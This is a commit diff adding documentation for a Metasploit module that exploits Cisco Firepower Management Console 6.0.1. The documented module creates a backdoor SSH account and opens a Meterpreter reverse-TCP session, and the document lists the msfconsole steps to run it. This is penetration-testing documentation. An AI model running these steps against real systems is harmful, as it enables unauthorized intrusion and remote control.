Add doc

Author: wchen-r7

documentation/modules/exploit/linux/http/cisco_firepower_useradd.md

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+This module exploits a vulnerability in Cisco Firepower Management Console RCE. It will
+create a backdoor SSH account via HTTPS, and then obtain a native payload session
+in SSH.
+
+## Vulnerable Application
+
+This exploit was specifically written against 6.0.1 (build 1213). To test, you can find the
+virtual appliance here:
+
+https://software.cisco.com/download/release.html?mdfid=286259687&softwareid=286271056&release=6.0.1&flowid=54052
+
+
+
+## Verification Steps
+
+1. Start msfconsole
+2. ```use exploit/linux/http/cisco_firepower_useradd```
+3. ```set password [https console password for admin]```
+4. ```set rhost [IP]```
+5. ```set payload linux/x86/meterpreter/reverse_tcp```
+6. ```set lhost [IP]```
+7. ```exploit```
+8. You should get a session